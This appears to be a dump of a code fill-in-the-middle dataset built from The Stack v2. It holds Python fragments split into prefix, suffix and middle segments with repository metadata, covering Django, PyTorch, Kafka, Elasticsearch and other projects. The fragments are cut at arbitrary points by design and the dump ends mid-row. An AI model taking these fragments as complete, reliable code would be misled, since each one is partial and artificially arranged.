text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: cielavenir/procon path: /hackerrank/word-order.py
#!/usr/bin/python
import sys
if sys.version_info[0]>=3: raw_input=input
h={}
for i in range(int(raw_input())):
s=raw_inp<|fim_suffix|>en(h))
print(' '.join(str(e[1]) for e in sorted(h.values())))<|fim_middle|>ut().rstrip()
if s not in h: h[s]=[i... | code_fim | medium | {
"lang": "python",
"repo": "cielavenir/procon",
"path": "/hackerrank/word-order.py",
"mode": "psm",
"license": "0BSD",
"source": "the-stack-v2"
} |
<|fim_suffix|> global Serializer, Deserializer
class Serializer(super_serializer):
def get_dump_object(self, obj):
pre_dump.send(sender=type(obj), instance=obj)
return super(Serializer, self).get_dump_object(obj)
# We don't care about deserializing.
... | code_fim | hard | {
"lang": "python",
"repo": "duncaningram/django-fixture-media",
"path": "/fixturemedia/management/commands/dumpdata.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: duncaningram/django-fixture-media path: /fixturemedia/management/commands/dumpdata.py
from optparse import make_option
import os
from os.path import abspath, dirname, exists, join
from django.core.management.base import CommandError
import django.core.management.commands.dumpdata
import django.c... | code_fim | hard | {
"lang": "python",
"repo": "duncaningram/django-fixture-media",
"path": "/fixturemedia/management/commands/dumpdata.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Function to make a wav file using OpenJTalk.
args:
speed: The speed of speech. (Default: 1.0)
emotion: Voice emotion. You can specify 'normal', 'happy', 'bashful', 'angry', or 'sad'.
output_file: The file name made by this function. (Default: '__temp.wav')
o... | code_fim | hard | {
"lang": "python",
"repo": "social-robotics-lab/dog_sample",
"path": "/src/robotcontrol.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#---------------------
# Low level functions
#---------------------
def recv(ip:str, port:int) -> str:
conn = connect(ip, port)
size = read_size(conn)
data = read_data(conn, size)
close(conn)
return data.decode('utf-8')
def send(ip:str, port:int, data:str):
conn = connect(ip, port... | code_fim | hard | {
"lang": "python",
"repo": "social-robotics-lab/dog_sample",
"path": "/src/robotcontrol.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: social-robotics-lab/dog_sample path: /src/robotcontrol.py
import json
import os.path
import socket
import subprocess
from pydub import AudioSegment
from typing import Dict, List
class RCClient(object):
"""
RobotControllerを操作するためのクラス
"""
def __init__(self, host:str, speech_port=2... | code_fim | hard | {
"lang": "python",
"repo": "social-robotics-lab/dog_sample",
"path": "/src/robotcontrol.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>data_dir = "/tmp/data"
out_dir = "/tmp/out"
if not os.path.exists(out_dir):
os.makedirs(out_dir)
M = 100 # batch size during training
d = 2 # latent dimension
# DATA. MNIST batches are fed at training time.
(x_train, _), (x_test, _) = mnist(data_dir)
x_train_generator = generator(x_train, M)
# MODEL... | code_fim | hard | {
"lang": "python",
"repo": "olusegun23/13301338176-ml",
"path": "/ExtraSensory/edward/examples/vae.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|># INFERENCE
# Define a subgraph of the variational model, corresponding to a
# minibatch of size M.
x_ph = tf.placeholder(tf.int32, [M, 28 * 28])
hidden = Dense(256, activation='relu')(tf.cast(x_ph, tf.float32))
qz = Normal(loc=Dense(d)(hidden),
scale=Dense(d, activation='softplus')(hidden))
... | code_fim | hard | {
"lang": "python",
"repo": "olusegun23/13301338176-ml",
"path": "/ExtraSensory/edward/examples/vae.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: olusegun23/13301338176-ml path: /ExtraSensory/edward/examples/vae.py
#!/usr/bin/env python
"""Variational auto-encoder for MNIST data.
References
----------
http://edwardlib.org/tutorials/decoder
http://edwardlib.org/tutorials/inference-networks
"""
from __future__ import absolute_import
from __... | code_fim | hard | {
"lang": "python",
"repo": "olusegun23/13301338176-ml",
"path": "/ExtraSensory/edward/examples/vae.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: leni1/main-tracker-api path: /tests/test_get_request.py
import json
import unittest
from api import create_app
from api.models.req_helper import RequestHelper
class MaintenanceViews(unittest.TestCase):
"""Tests the enpoints contains in request_views.py"""
<|fim_suffix|> new_req = se... | code_fim | hard | {
"lang": "python",
"repo": "leni1/main-tracker-api",
"path": "/tests/test_get_request.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_fetch_all_requests(self):
self.test_request.post(
'/api/v1/users/requests',
content_type='application/json',
data=json.dumps(
dict(
req_name='Failing Test',
req_type='Test',
... | code_fim | hard | {
"lang": "python",
"repo": "leni1/main-tracker-api",
"path": "/tests/test_get_request.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: amarotaylor/MSI_prediction path: /labeled_nuclei_project/models.py
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class ConvNet(nn.Module):
def __init__(self, n_conv_layers, n_fc_layers, kernel_size, n_conv_filters, hidden_size, dropout=0.5):
s... | code_fim | hard | {
"lang": "python",
"repo": "amarotaylor/MSI_prediction",
"path": "/labeled_nuclei_project/models.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def __init__(self, input_size, hidden_size, output_size, gated=True):
super(Attention, self).__init__()
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.gated = gated
self.V = nn.Linear(input_size, hidden_si... | code_fim | hard | {
"lang": "python",
"repo": "amarotaylor/MSI_prediction",
"path": "/labeled_nuclei_project/models.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # compute concatenation size
in_channels = in_channels * self.H_in * self.W_in * 5
# infer the z
for layer in range(self.n_fc_layers):
self.fc_layers.append(nn.Linear(in_channels, self.hidden_size[layer]))
self.fc_layers.append(self.relu)
... | code_fim | hard | {
"lang": "python",
"repo": "amarotaylor/MSI_prediction",
"path": "/labeled_nuclei_project/models.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Yuki-Hong/RehearsalRevealed path: /contour_exp/mode_connectivity_plot.py
import matplotlib.pyplot as plt
from matplotlib import rc
import numpy as np
import argparse
import json
import os
_BASE_PATH = ".."
def save(name, data):
if not os.path.exists(f"{_BASE_PATH}/graphics/{data}"):
... | code_fim | hard | {
"lang": "python",
"repo": "Yuki-Hong/RehearsalRevealed",
"path": "/contour_exp/mode_connectivity_plot.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> ax_width, ax_height = 2, 1
fig, axes = plt.subplots(ax_height, ax_width, figsize=(4 * ax_width, 4 * ax_height))
tex_labels = ["$w_1$", "$w_{2, FT}$", "$w_2$"]
mc_vis(result_mat, model_coordinates, axes[0], settings['start'], settings['width'], settings['grid'], levels,
result_i... | code_fim | hard | {
"lang": "python",
"repo": "Yuki-Hong/RehearsalRevealed",
"path": "/contour_exp/mode_connectivity_plot.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self,
project_id: int,
) -> requests.models.Response:
"""
"""
return self.get(
'v1/projects/{project_id}/roles'.format(
project_id=project_id
)
)
def get_rolemapping_detail(
self,
project_id: i... | code_fim | hard | {
"lang": "python",
"repo": "mdup/doccano_api_client",
"path": "/doccano_api_client/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mdup/doccano_api_client path: /doccano_api_client/__init__.py
"""
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rig... | code_fim | hard | {
"lang": "python",
"repo": "mdup/doccano_api_client",
"path": "/doccano_api_client/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def get_version(self) -> str:
return '-'.join([self.state_handler.version_as_str(),
self.DEV_SUFFIX]) if self.state_handler.is_dev() else self.state_handler.version_as_str()
def get_poom_ci_dependencies(self) -> List[Module]:
return PoomCiDependencies(Comp... | code_fim | hard | {
"lang": "python",
"repo": "flexiooss/flexio-flow",
"path": "/src/Schemes/Composer/ComposerScheme.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: flexiooss/flexio-flow path: /src/Schemes/Composer/ComposerScheme.py
from __future__ import annotations
from typing import List
from FlexioFlow.Level import Level
from Log.Log import Log
from PoomCiDependency.Module import Module
from Schemes.Composer.ComposerFileHandler import ComposerFileHandler... | code_fim | medium | {
"lang": "python",
"repo": "flexiooss/flexio-flow",
"path": "/src/Schemes/Composer/ComposerScheme.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ilittleangel/nexo-watcher path: /utils/elastic.py
import logging
import json
import re
import requests
from requests.auth import HTTPBasicAuth
from datetime import datetime
from settings import ES_NODE, ES_PATTERN, ES_USER, ES_PASS
logger = logging.getLogger('watcher')
date_patter = re.compile... | code_fim | medium | {
"lang": "python",
"repo": "ilittleangel/nexo-watcher",
"path": "/utils/elastic.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def search(index, window):
url = f"{ES_NODE}/{index}/_search"
headers = {'Content-type': 'application/json'}
payload = {
'query': {
'range': {
'@timestamp': {'from': f'now-{window}m', 'to': 'now'}
}
}
}
try:
rq = request... | code_fim | hard | {
"lang": "python",
"repo": "ilittleangel/nexo-watcher",
"path": "/utils/elastic.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def consumer_topics(self, topics):
consumer = KafkaConsumer(
group_id='group2',
bootstrap_servers=self.kafka_server,
value_deserializer=lambda m: json.loads(m.decode('ascii'))
)
consumer.subscribe(topics=topics.split(','))
for msg in ... | code_fim | hard | {
"lang": "python",
"repo": "xx-zhang/docker-zeek",
"path": "/docker-kafka/log_intercepter/syslog-ng/client/xetl/zeek_parser/kafka_helper.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: xx-zhang/docker-zeek path: /docker-kafka/log_intercepter/syslog-ng/client/xetl/zeek_parser/kafka_helper.py
# coding:utf-8
import os
from kafka import KafkaConsumer, KafkaProducer
import json
default_kafka_server = os.environ.get('KAFKA_SERVER') \
if 'KAFKA_SERVER' in os.environ.keys() else '... | code_fim | hard | {
"lang": "python",
"repo": "xx-zhang/docker-zeek",
"path": "/docker-kafka/log_intercepter/syslog-ng/client/xetl/zeek_parser/kafka_helper.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JoeBuzh/Pm_Composition_Quallity_Control path: /fill_pm/search_nearby.py
# -*- encoding: utf-8 -*-
'''
@Filename : search_nearby.py
@Datetime : 2020/06/05 16:58:50
@Author : Joe-Bu
@version : 1.0
'''
import os
import sys
import xlrd
import folium
import numpy as np
import pandas a... | code_fim | hard | {
"lang": "python",
"repo": "JoeBuzh/Pm_Composition_Quallity_Control",
"path": "/fill_pm/search_nearby.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(len(nearby))
print(len(set(nearby)))
nearby_list = [int(x) for x in nearby]
nearby_df = envi_info.loc[envi_info['站号'].isin(nearby_list)]
print(nearby_df.head())
return nearby_df
def insert_idx(envi_info, idx):
for i, row in envi_info.iterrows():
lon = row['经度']... | code_fim | hard | {
"lang": "python",
"repo": "JoeBuzh/Pm_Composition_Quallity_Control",
"path": "/fill_pm/search_nearby.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> idx = index.Index()
comp_info = read_txt('../data/obs_com_stations.txt', sep=',')
envi_info = pd.read_csv('../data/obs_env_stations.txt', delim_whitespace=True)
idx = insert_idx(envi_info, idx)
mapping = search(comp_info, idx)
print(mapping)
# get nearby file
nearby = get_n... | code_fim | hard | {
"lang": "python",
"repo": "JoeBuzh/Pm_Composition_Quallity_Control",
"path": "/fill_pm/search_nearby.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>s:
sub.run('timeout 600 python3 run_examples.py --cslicer-definer-split-cslicer-one ' + \
example, shell=True)
# cslicer-definer-split-definer
print ('EXP: cslicer-definer-split-definer')
for example in examples:
sub.run('timeout 600 python3 run_examples.py --cs... | code_fim | hard | {
"lang": "python",
"repo": "d-fact/CSlicer",
"path": "/resources/scripts/exp.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: d-fact/CSlicer path: /resources/scripts/exp.py
#!/usr/bin/python3
import os
import os.path
import sys
import csv
import argparse
import subprocess as sub
import run_examples as runex
if __name__ == '__main__':
examples = runex.examples
# cslicer-split-cslicer
print ('EXP: cslicer-s... | code_fim | hard | {
"lang": "python",
"repo": "d-fact/CSlicer",
"path": "/resources/scripts/exp.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>definer')
for example in examples:
sub.run('timeout 600 python3 run_examples.py --definer-one ' + example, shell=True)
# definer-split-cslicer
print ('EXP: definer-split-cslicer')
for example in examples:
sub.run('timeout 600 python3 run_examples.py --definer-split-cslicer-... | code_fim | hard | {
"lang": "python",
"repo": "d-fact/CSlicer",
"path": "/resources/scripts/exp.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: alexw16/sharenet path: /sharenet_bvs.py
a2_beta = np.array([self.sigma2_beta[cluster_no] \
for cluster_no in self.cluster_no_list])
sigma2_eps = np.array([self.sigma2_eps[cluster_no] \
for cluster_no in self.cluster_no_list])
mu = np.array([self.mu[cluster_no] \
for cluster_no in sel... | code_fim | hard | {
"lang": "python",
"repo": "alexw16/sharenet",
"path": "/sharenet_bvs.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
input_dict = {}
reg_inds = self.regtarget_dict[target_ind]
y_dict = {cluster_no: data[:,target_ind] for cluster_no,data \
in self.cluster_data_dict.items()}
X_dict = {cluster_no: data[:,reg_inds] for cluster_no,data \
in self.cluster_data_dict.items()}
XX_dict = {cluster_no: self.XX_dict[... | code_fim | hard | {
"lang": "python",
"repo": "alexw16/sharenet",
"path": "/sharenet_bvs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.dof_tilde = self.dof + self.phi.sum(0)
self.B_tilde = (self.precisions_.T/self.dof_tilde).T
self.precisions_ = (self.B_tilde.T*self.dof_tilde).T
self.covariances_ = np.linalg.inv(self.precisions_)
for target_ind in self.target_inds_list:
n_regs = len(self.regtarget_dict[target_ind])
... | code_fim | hard | {
"lang": "python",
"repo": "alexw16/sharenet",
"path": "/sharenet_bvs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: entn-at/BrnoLM path: /brnolm/oov_clustering/det.py
import numpy as np
import copy
def area_under_curve(xs_in, ys_in):
assert(len(xs_in) == len(ys_in))
xs = list(copy.deepcopy(xs_in))
ys = list(copy.deepcopy(ys_in))
if xs[0] > 0.0:
xs.insert(0, 0.0)
ys.insert(0,... | code_fim | hard | {
"lang": "python",
"repo": "entn-at/BrnoLM",
"path": "/brnolm/oov_clustering/det.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> return mis_fas, [s[0] for s in sorted_score_tg]
def subsampling_indices(length, max_points):
''' Ensures that both the first and the last element are included.
'''
all_indices = list(range(length))
subsampling_coeff_exact = (len(all_indices) - 1) / (max_points-1)
if subsampling_... | code_fim | hard | {
"lang": "python",
"repo": "entn-at/BrnoLM",
"path": "/brnolm/oov_clustering/det.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> baseline_au_det = self._max_miss_rate * self._max_fa_rate / 2.0
baseline_eer = self._max_miss_rate * self._max_fa_rate / (self._max_miss_rate + self._max_fa_rate)
report += area_line_fmt.format(
system_au_det,
baseline_au_det,
... | code_fim | hard | {
"lang": "python",
"repo": "entn-at/BrnoLM",
"path": "/brnolm/oov_clustering/det.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>a_results["simplicity"]
data["generalization"] = data_results["generalization"]
data["fitness"] = data_results["fitness"]["average_trace_fitness"]
data["fit_traces"] = data_results["fitness"]["perc_fit_traces"]
df = df.append(data,ignore_inde... | code_fim | hard | {
"lang": "python",
"repo": "FelixOesinghaus/SaCoFa",
"path": "/Evaluation/collect_model_quality.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: FelixOesinghaus/SaCoFa path: /Evaluation/collect_model_quality.py
import sys
import pandas as pd
import pickle
import os
log_name = sys.argv[1]
base_path = sys.argv[2]
result_dir_path = sys.argv[3]
epsRange = [1.0,0.1,0.01]
tries = 10 # h... | code_fim | hard | {
"lang": "python",
"repo": "FelixOesinghaus/SaCoFa",
"path": "/Evaluation/collect_model_quality.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: rosalindfranklininstitute/cuda-slic path: /tests/test_from_skimage_slic.py
from itertools import product
import numpy as np
import pytest
from skimage._shared import testing
from skimage._shared.testing import assert_equal
# from skimage.segmentation import slic
from cuda_slic import slic
de... | code_fim | hard | {
"lang": "python",
"repo": "rosalindfranklininstitute/cuda-slic",
"path": "/tests/test_from_skimage_slic.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def test_enforce_connectivity():
img = np.array(
[[0, 0, 0, 1, 1, 1], [1, 0, 0, 1, 1, 0], [0, 0, 0, 1, 1, 0]], np.float
)
segments_connected = slic(
img,
2,
compactness=0.0001,
enforce_connectivity=True,
convert2lab=False,
)
# Make sur... | code_fim | hard | {
"lang": "python",
"repo": "rosalindfranklininstitute/cuda-slic",
"path": "/tests/test_from_skimage_slic.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: delfick/nose-of-yeti path: /tests/for_formatting_and_pylama/unformatted_spec.py
# coding: spec
def awesome(a: str)-> bool:
<|fim_suffix|>def with_other_things( ):
hi ( 22222, "asdfasdf",True)<|fim_middle|> return True
def hi( twos: int, word: str, b: bool) :
pass
describe ... | code_fim | hard | {
"lang": "python",
"repo": "delfick/nose-of-yeti",
"path": "/tests/for_formatting_and_pylama/unformatted_spec.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>it "is great":
assert False, "or is it ?"
def with_other_things( ):
hi ( 22222, "asdfasdf",True)<|fim_prefix|># repo: delfick/nose-of-yeti path: /tests/for_formatting_and_pylama/unformatted_spec.py
# coding: spec
def awesome(a: str)-> bool:
return True
<|fim_middle|>def hi( twos: ... | code_fim | medium | {
"lang": "python",
"repo": "delfick/nose-of-yeti",
"path": "/tests/for_formatting_and_pylama/unformatted_spec.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def task_name_to_cls_name(name):
return name.split('.')[0]
def register_task(name):
def decorator(cls):
_registry[name] = cls
return cls
return decorator
def get_tasks(names, args, available_tasks=None):
tasks = dict()
for name in names:
if available_tasks... | code_fim | hard | {
"lang": "python",
"repo": "stanford-oval/genienlp",
"path": "/genienlp/tasks/registry.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def register_task(name):
def decorator(cls):
_registry[name] = cls
return cls
return decorator
def get_tasks(names, args, available_tasks=None):
tasks = dict()
for name in names:
if available_tasks and name in available_tasks:
tasks[name] = available... | code_fim | hard | {
"lang": "python",
"repo": "stanford-oval/genienlp",
"path": "/genienlp/tasks/registry.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: stanford-oval/genienlp path: /genienlp/tasks/registry.py
#
# Copyright (c) 2019, The Board of Trustees of the Leland Stanford Junior University
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following c... | code_fim | hard | {
"lang": "python",
"repo": "stanford-oval/genienlp",
"path": "/genienlp/tasks/registry.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wouf/cmssw path: /RecoBTag/SecondaryVertex/python/combinedSecondaryVertexMVAComputer_cfi.py
import FWCore.ParameterSet.Config as cms
from RecoBTag.SecondaryVertex.combinedSecondaryVertexCommon_cff import<|fim_suffix|>ertexCommon,
useCategories = cms.bool(True),
calibrationRecords = cms.vstring... | code_fim | medium | {
"lang": "python",
"repo": "wouf/cmssw",
"path": "/RecoBTag/SecondaryVertex/python/combinedSecondaryVertexMVAComputer_cfi.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> 'CombinedSVMVAPseudoVertex',
'CombinedSVMVANoVertex'),
categoryVariableName = cms.string('vertexCategory')
)<|fim_prefix|># repo: wouf/cmssw path: /RecoBTag/SecondaryVertex/python/combinedSecondaryVertexMVAComputer_cfi.py
import FWCore.ParameterSet.Config as cms
from RecoBTag.SecondaryVertex.combin... | code_fim | medium | {
"lang": "python",
"repo": "wouf/cmssw",
"path": "/RecoBTag/SecondaryVertex/python/combinedSecondaryVertexMVAComputer_cfi.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pedrograngeiro/Webcrasping-E-sports-Wiki path: /extrairdados/timestoplanilha.py
import requests
from bs4 import BeautifulSoup
import csv
cont = 0
i = 0
j = 0
<|fim_suffix|>soup = BeautifulSoup(source, 'html.parser')
puxartimes = soup.find_all('th', "tournament-roster-header")
nomestimes = []
... | code_fim | medium | {
"lang": "python",
"repo": "pedrograngeiro/Webcrasping-E-sports-Wiki",
"path": "/extrairdados/timestoplanilha.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>puxartimes = soup.find_all('th', "tournament-roster-header")
nomestimes = []
for n in puxartimes:
nomestimes.append(n.text)
print(nomestimes)
with open('newFile.csv', 'a') as csvfile:
wr = csv.writer(csvfile, quoting=csv.QUOTE_ALL)
for word in nomestimes:
wr.writerow([word])
"""wit... | code_fim | medium | {
"lang": "python",
"repo": "pedrograngeiro/Webcrasping-E-sports-Wiki",
"path": "/extrairdados/timestoplanilha.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> inventoryBehaviour.getInterface().setEntry("items", self.items);<|fim_prefix|># repo: WilliamDASILVA/TheMysteryOfSchweitzer path: /gameplay/Inventory.py
from gameplay.behaviours import inventoryBehaviour;
class Inventory():
def __init__(self):
self.items = [];
def addItem(self, item):
self.item... | code_fim | easy | {
"lang": "python",
"repo": "WilliamDASILVA/TheMysteryOfSchweitzer",
"path": "/gameplay/Inventory.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.items.remove(item);
self.updateItems();
def getItems(self):
return self.items;
def updateItems(self):
inventoryBehaviour.getInterface().setEntry("items", self.items);<|fim_prefix|># repo: WilliamDASILVA/TheMysteryOfSchweitzer path: /gameplay/Inventory.py
from gameplay.behaviours import i... | code_fim | easy | {
"lang": "python",
"repo": "WilliamDASILVA/TheMysteryOfSchweitzer",
"path": "/gameplay/Inventory.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: WilliamDASILVA/TheMysteryOfSchweitzer path: /gameplay/Inventory.py
from gameplay.behaviours import inventoryBehaviour;
<|fim_suffix|> def __init__(self):
self.items = [];
def addItem(self, item):
self.items.append(item);
self.updateItems();
def removeItem(self, item):
self.items.remo... | code_fim | easy | {
"lang": "python",
"repo": "WilliamDASILVA/TheMysteryOfSchweitzer",
"path": "/gameplay/Inventory.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> _run('--noise_type=normal_0.1')
def test_noise_ou():
_run('--noise_type=ou_0.1')
def test_noise_adaptive():
_run('--noise_type=adaptive-param_0.2,normal_0.1')<|fim_prefix|># repo: isamu-isozaki/baseline-selfplay path: /baselines/ddpg/test_smoke.py
from baselines.common.tests.util import smo... | code_fim | medium | {
"lang": "python",
"repo": "isamu-isozaki/baseline-selfplay",
"path": "/baselines/ddpg/test_smoke.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: isamu-isozaki/baseline-selfplay path: /baselines/ddpg/test_smoke.py
from baselines.common.tests.util import smoketest
def _run(argstr):
smoketest('--alg=ddpg --env=Pendulum-v0 --num_timesteps=0 ' + argstr)
def test_popart():
_run('--normalize_returns=True --popart=True')
def test_noise_... | code_fim | medium | {
"lang": "python",
"repo": "isamu-isozaki/baseline-selfplay",
"path": "/baselines/ddpg/test_smoke.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: multiply-org/multiply-ui path: /test/util/test_schema.py
import unittest
from multiply_ui.util.schema import TypeDef, PropertyDef
class TypeDefTest(unittest.TestCase):
def test_primitives(self):
self.assertIsNone(TypeDef(str, optional=True).validate(None))
self.assertIsNone... | code_fim | hard | {
"lang": "python",
"repo": "multiply-org/multiply-ui",
"path": "/test/util/test_schema.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> with self.assertRaises(ValueError) as cm:
TypeDef(object, properties=[PropertyDef('A', TypeDef(int)),
PropertyDef('B', TypeDef(str))]).validate(dict(A=1, B='X', X=1.5, Y=9.1))
self.assertEqual("unexpected properties found: ['X', 'Y']",
... | code_fim | hard | {
"lang": "python",
"repo": "multiply-org/multiply-ui",
"path": "/test/util/test_schema.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>date
from app.api.user import blunders_count<|fim_prefix|># repo: codingjerk/ztd.blunders-web path: /app/api/user/__init__.py
from app.api.user import blunders_by_date, comments, favorite_blunders
from app.api.user<|fim_middle|> import history_blunders, profile, rating_by_ | code_fim | easy | {
"lang": "python",
"repo": "codingjerk/ztd.blunders-web",
"path": "/app/api/user/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: codingjerk/ztd.blunders-web path: /app/api/user/__init__.py
from app.api.user import blunders_by_date, c<|fim_suffix|> import history_blunders, profile, rating_by_date
from app.api.user import blunders_count<|fim_middle|>omments, favorite_blunders
from app.api.user | code_fim | easy | {
"lang": "python",
"repo": "codingjerk/ztd.blunders-web",
"path": "/app/api/user/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ljuti/raynors-rangers path: /bot/units/terran/behaviors/composites/scouting/scout_for_proxies.py
from bot.btrees.core.condition import Condition
from bot.btrees.composites.mem_sequence import MemSequence
from bot.btrees.decorators.inverter import Inverter
from bot.btrees.core.tick import Tick
fro... | code_fim | hard | {
"lang": "python",
"repo": "ljuti/raynors-rangers",
"path": "/bot/units/terran/behaviors/composites/scouting/scout_for_proxies.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.locations = location_data_store
def enter(self, tick: Tick):
tick.blackboard.set('scouting_locations', self.locations.potential_proxy_locations, tick.tree.id)<|fim_prefix|># repo: ljuti/raynors-rangers path: /bot/units/terran/behaviors/composites/scouting/scout_for_proxies.py
from bot.btr... | code_fim | hard | {
"lang": "python",
"repo": "ljuti/raynors-rangers",
"path": "/bot/units/terran/behaviors/composites/scouting/scout_for_proxies.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> locations = tick.blackboard.get('scouting_locations', tick.tree.id)
if locations and len(locations) > 0:
return BTreeStatus.SUCCESS
return BTreeStatus.FAILURE
class ScoutForProxies(MemSequence):
def __init__(self, location_data_store, children=None):
super(ScoutForProxies, self)._... | code_fim | medium | {
"lang": "python",
"repo": "ljuti/raynors-rangers",
"path": "/bot/units/terran/behaviors/composites/scouting/scout_for_proxies.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: wangzhenhua2015/proxy-nca path: /data/utils.py
import torchvision as tv
def select_by_label_range(zs, ys, r): # zs : images or paths, corr. to ys
<|fim_suffix|>transformations = [
tv.transforms.ToPILImage(),
tv.transforms.Resize(340),
tv.transforms.RandomCrop(299),
tv.transforms.... | code_fim | medium | {
"lang": "python",
"repo": "wangzhenhua2015/proxy-nca",
"path": "/data/utils.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>transformations = [
tv.transforms.ToPILImage(),
tv.transforms.Resize(340),
tv.transforms.RandomCrop(299),
tv.transforms.ToTensor(),
tv.transforms.Normalize(
mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225]
)
]
transform = tv.transforms.Compose(transformations)... | code_fim | medium | {
"lang": "python",
"repo": "wangzhenhua2015/proxy-nca",
"path": "/data/utils.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: amiablea2/arjuna path: /arjuna/tpi/engine/testwise.py
# This file is a part of Arjuna
